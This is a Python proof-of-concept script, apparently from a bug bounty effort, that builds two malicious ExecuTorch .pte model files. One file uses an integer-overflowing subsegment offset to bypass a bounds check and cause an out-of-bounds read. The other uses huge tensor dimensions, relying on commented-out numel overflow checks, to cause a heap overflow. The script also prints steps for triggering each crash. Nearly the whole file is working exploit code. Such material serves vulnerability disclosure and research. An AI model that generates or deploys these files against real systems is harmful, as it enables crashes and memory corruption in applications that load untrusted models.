#!/usr/bin/env python3
"""
ExecuTorch .pte Integer Overflow PoC — Builds malicious .pte and triggers crash

CVE: NEW (unreported)
CWE-190: Integer Overflow or Wraparound
Affected: ExecuTorch (all versions using runtime/executor/program.cpp)

Vulnerability 1: program.cpp:592
  offset (uint64 from flatbuffer) + size (size_t) overflows, bypassing bounds check.

Vulnerability 2: program_validation.cpp:48-79
  Integer overflow checks for tensor numel are COMMENTED OUT.
"""

import struct
import sys
import os

sys.path.insert(0, os.path.join(os.path.dirname(__file__), "gen"))

import flatbuffers
from flatbuffers import builder as fb_builder
from executorch_flatbuffer import (
    Program, ExecutionPlan, DataSegment, SubsegmentOffsets,
    Tensor, EValue, KernelTypes, Operator, Chain, Instruction,
    Buffer, AllocationDetails, ExtraTensorInfo,
)
from executorch_flatbuffer import ScalarType as ST

SEGMENT_DATA_SIZE = 256  # Small segment

def build_overflow_pte(output_path):
    """Build .pte with integer overflow in SubsegmentOffsets."""
    b = fb_builder.Builder(4096)

    # Overflow offset: when added to tensor nbytes (e.g. 64),
    # wraps around to <= segment size
    TENSOR_NBYTES = 64  # 4x4 float32
    OVERFLOW_OFFSET = (1 << 64) - TENSOR_NBYTES  # + 64 = 2^64 = wraps to 0

    # --- SubsegmentOffsets for mutable_data_segments ---
    SubsegmentOffsets.SubsegmentOffsetsStartOffsetsVector(b, 2)
    b.PrependUint64(OVERFLOW_OFFSET)  # index 1: MALICIOUS offset
    b.PrependUint64(0)                # index 0: reserved
    offsets_vec = b.EndVector()

    SubsegmentOffsets.SubsegmentOffsetsStart(b)
    SubsegmentOffsets.SubsegmentOffsetsAddSegmentIndex(b, 0)
    SubsegmentOffsets.SubsegmentOffsetsAddOffsets(b, offsets_vec)
    mutable_seg = SubsegmentOffsets.SubsegmentOffsetsEnd(b)

    # mutable_data_segments vector
    Program.ProgramStartMutableDataSegmentsVector(b, 1)
    b.PrependUOffsetTRelative(mutable_seg)
    mutable_segs_vec = b.EndVector()

    # --- DataSegment ---
    DataSegment.DataSegmentStart(b)
    DataSegment.DataSegmentAddOffset(b, 0)
    DataSegment.DataSegmentAddSize(b, SEGMENT_DATA_SIZE)
    segment = DataSegment.DataSegmentEnd(b)

    Program.ProgramStartSegmentsVector(b, 1)
    b.PrependUOffsetTRelative(segment)
    segments_vec = b.EndVector()

    # --- Tensor with mutable data pointing to overflow offset ---
    # sizes = [4, 4], scalar_type = FLOAT (6), data_buffer_idx = 1
    Tensor.TensorStartSizesVector(b, 2)
    b.PrependInt32(4)
    b.PrependInt32(4)
    sizes_vec = b.EndVector()

    Tensor.TensorStartDimOrderVector(b, 2)
    b.PrependUint8(1)
    b.PrependUint8(0)
    dim_order_vec = b.EndVector()

    # AllocationDetails for mutable tensor
    AllocationDetails.AllocationDetailsStart(b)
    AllocationDetails.AllocationDetailsAddMemoryId(b, 1)
    AllocationDetails.AllocationDetailsAddMemoryOffsetLow(b, 0)
    alloc_info = AllocationDetails.AllocationDetailsEnd(b)

    Tensor.TensorStart(b)
    Tensor.TensorAddScalarType(b, 6)  # FLOAT
    Tensor.TensorAddStorageOffset(b, 0)
    Tensor.TensorAddSizes(b, sizes_vec)
    Tensor.TensorAddDimOrder(b, dim_order_vec)
    Tensor.TensorAddDataBufferIdx(b, 1)  # Points to mutable data
    Tensor.TensorAddAllocationInfo(b, alloc_info)
    tensor = Tensor.TensorEnd(b)

    # EValue wrapping the tensor
    EValue.EValueStart(b)
    EValue.EValueAddValType(b, KernelTypes.KernelTypes.Tensor)
    EValue.EValueAddVal(b, tensor)
    evalue = EValue.EValueEnd(b)

    ExecutionPlan.ExecutionPlanStartValuesVector(b, 1)
    b.PrependUOffsetTRelative(evalue)
    values_vec = b.EndVector()

    # Minimal ExecutionPlan
    plan_name = b.CreateString("forward")
    ExecutionPlan.ExecutionPlanStart(b)
    ExecutionPlan.ExecutionPlanAddName(b, plan_name)
    ExecutionPlan.ExecutionPlanAddValues(b, values_vec)
    plan = ExecutionPlan.ExecutionPlanEnd(b)

    Program.ProgramStartExecutionPlanVector(b, 1)
    b.PrependUOffsetTRelative(plan)
    plans_vec = b.EndVector()

    # --- Build Program ---
    Program.ProgramStart(b)
    Program.ProgramAddVersion(b, 0)
    Program.ProgramAddExecutionPlan(b, plans_vec)
    Program.ProgramAddSegments(b, segments_vec)
    Program.ProgramAddMutableDataSegments(b, mutable_segs_vec)
    program = Program.ProgramEnd(b)

    b.Finish(program, b"ET12")
    buf = bytes(b.Output())

    # Write .pte with extended header
    with open(output_path, 'wb') as f:
        f.write(buf)

        # Pad to 4096 alignment for segment
        padding = (4096 - len(buf) % 4096) % 4096
        f.write(b'\x00' * padding)
        segment_base = len(buf) + padding

        # Write segment data
        f.write(b'\x41' * SEGMENT_DATA_SIZE)

        # Extended header (appended at end)
        # Format: program_size(8) + segment_base_offset(8) + header_length(4) + magic(4)
        eh = struct.pack('<QQ', len(buf), segment_base)
        eh_with_header = struct.pack('<I', len(eh) + 8) + b'eh00' + eh
        # Actually ExecuTorch extended header is at the END of file:
        # Last 4 bytes: magic "eh00"
        # Before that: header_length (4 bytes)
        # Before that: program_size (8 bytes)
        # Before that: segment_base_offset (8 bytes)
        ext_header = struct.pack('<QQI', segment_base, len(buf), 24) + b'eh00'
        f.write(ext_header)

    file_size = os.path.getsize(output_path)
    print(f"[+] Malicious .pte created: {output_path} ({file_size} bytes)")
    print(f"[+] Flatbuffer size: {len(buf)} bytes")
    print(f"[+] Segment base offset: {segment_base}")
    print(f"[+] Overflow offset in SubsegmentOffsets: 0x{OVERFLOW_OFFSET:016X}")
    print(f"[+] When loading 64-byte tensor:")
    print(f"    offset=0x{OVERFLOW_OFFSET:016X} + size=64 = 0x{(OVERFLOW_OFFSET + 64) % (1 << 64):016X} (WRAPS TO 0)")
    print(f"    0 <= segment_size({SEGMENT_DATA_SIZE}) -> bounds check PASSES")
    print(f"    load_into() called with OOB offset -> CRASH / OOB READ")

    return output_path


def build_numel_overflow_pte(output_path):
    """Build .pte with tensor dimension overflow (commented-out checks)."""
    b = fb_builder.Builder(4096)

    # Tensor with dimensions that overflow when multiplied
    # sizes = [0x7FFFFFFF, 0x7FFFFFFF] -> numel overflows int32/int64
    # Since validate_tensor() overflow checks are commented out, this passes

    # DataSegment
    DataSegment.DataSegmentStart(b)
    DataSegment.DataSegmentAddOffset(b, 0)
    DataSegment.DataSegmentAddSize(b, 256)
    segment = DataSegment.DataSegmentEnd(b)

    Program.ProgramStartSegmentsVector(b, 1)
    b.PrependUOffsetTRelative(segment)
    segments_vec = b.EndVector()

    # Overflow tensor sizes
    Tensor.TensorStartSizesVector(b, 2)
    b.PrependInt32(0x7FFFFFFF)  # 2147483647
    b.PrependInt32(0x7FFFFFFF)  # 2147483647
    sizes_vec = b.EndVector()   # numel = 2147483647^2 = overflows!

    Tensor.TensorStartDimOrderVector(b, 2)
    b.PrependUint8(1)
    b.PrependUint8(0)
    dim_order_vec = b.EndVector()

    Tensor.TensorStart(b)
    Tensor.TensorAddScalarType(b, 6)  # FLOAT
    Tensor.TensorAddSizes(b, sizes_vec)
    Tensor.TensorAddDimOrder(b, dim_order_vec)
    Tensor.TensorAddDataBufferIdx(b, 0)
    tensor = Tensor.TensorEnd(b)

    EValue.EValueStart(b)
    EValue.EValueAddValType(b, KernelTypes.KernelTypes.Tensor)
    EValue.EValueAddVal(b, tensor)
    evalue = EValue.EValueEnd(b)

    ExecutionPlan.ExecutionPlanStartValuesVector(b, 1)
    b.PrependUOffsetTRelative(evalue)
    values_vec = b.EndVector()

    plan_name = b.CreateString("forward")
    ExecutionPlan.ExecutionPlanStart(b)
    ExecutionPlan.ExecutionPlanAddName(b, plan_name)
    ExecutionPlan.ExecutionPlanAddValues(b, values_vec)
    plan = ExecutionPlan.ExecutionPlanEnd(b)

    Program.ProgramStartExecutionPlanVector(b, 1)
    b.PrependUOffsetTRelative(plan)
    plans_vec = b.EndVector()

    Program.ProgramStart(b)
    Program.ProgramAddVersion(b, 0)
    Program.ProgramAddExecutionPlan(b, plans_vec)
    Program.ProgramAddSegments(b, segments_vec)
    program = Program.ProgramEnd(b)

    b.Finish(program, b"ET12")
    buf = bytes(b.Output())

    with open(output_path, 'wb') as f:
        f.write(buf)
        padding = (4096 - len(buf) % 4096) % 4096
        f.write(b'\x00' * padding)
        seg_base = len(buf) + padding
        f.write(b'\x42' * 256)
        ext_header = struct.pack('<QQI', seg_base, len(buf), 24) + b'eh00'
        f.write(ext_header)

    file_size = os.path.getsize(output_path)
    print(f"\n[+] Numel overflow .pte: {output_path} ({file_size} bytes)")
    print(f"[+] Tensor sizes: [2147483647, 2147483647]")
    print(f"[+] numel = 2147483647 * 2147483647 = {0x7FFFFFFF * 0x7FFFFFFF} (overflows int64!)")
    print(f"[+] validate_tensor() overflow check is COMMENTED OUT -> passes")
    print(f"[+] Allocates tiny buffer, copies huge data -> HEAP OVERFLOW")


if __name__ == "__main__":
    poc_dir = os.path.expanduser("~/bugbounty_results/executorch/poc")

    print("=" * 70)
    print("ExecuTorch Integer Overflow PoC Generator")
    print("=" * 70)
    print()

    # PoC 1: SubsegmentOffsets overflow
    pte1 = build_overflow_pte(os.path.join(poc_dir, "malicious_offset_overflow.pte"))

    # PoC 2: Tensor numel overflow
    pte2 = build_numel_overflow_pte(os.path.join(poc_dir, "malicious_numel_overflow.pte"))

    print()
    print("=" * 70)
    print("VERIFICATION")
    print("=" * 70)
    print()
    print("To verify the crash, load the .pte with ExecuTorch C++ runtime:")
    print()
    print("  #include <executorch/runtime/executor/program.h>")
    print("  auto program = Program::load(\"malicious_offset_overflow.pte\");")
    print("  auto method = program->load_method(\"forward\");")
    print("  // -> Triggers OOB read in load_mutable_subsegment_into()")
    print()
    print("Or with Python:")
    print()
    print("  from executorch.runtime import Runtime, Program")
    print("  program = Program('malicious_offset_overflow.pte')")
    print("  method = program.load_method('forward')")
    print("  // -> SIGSEGV or SIGBUS")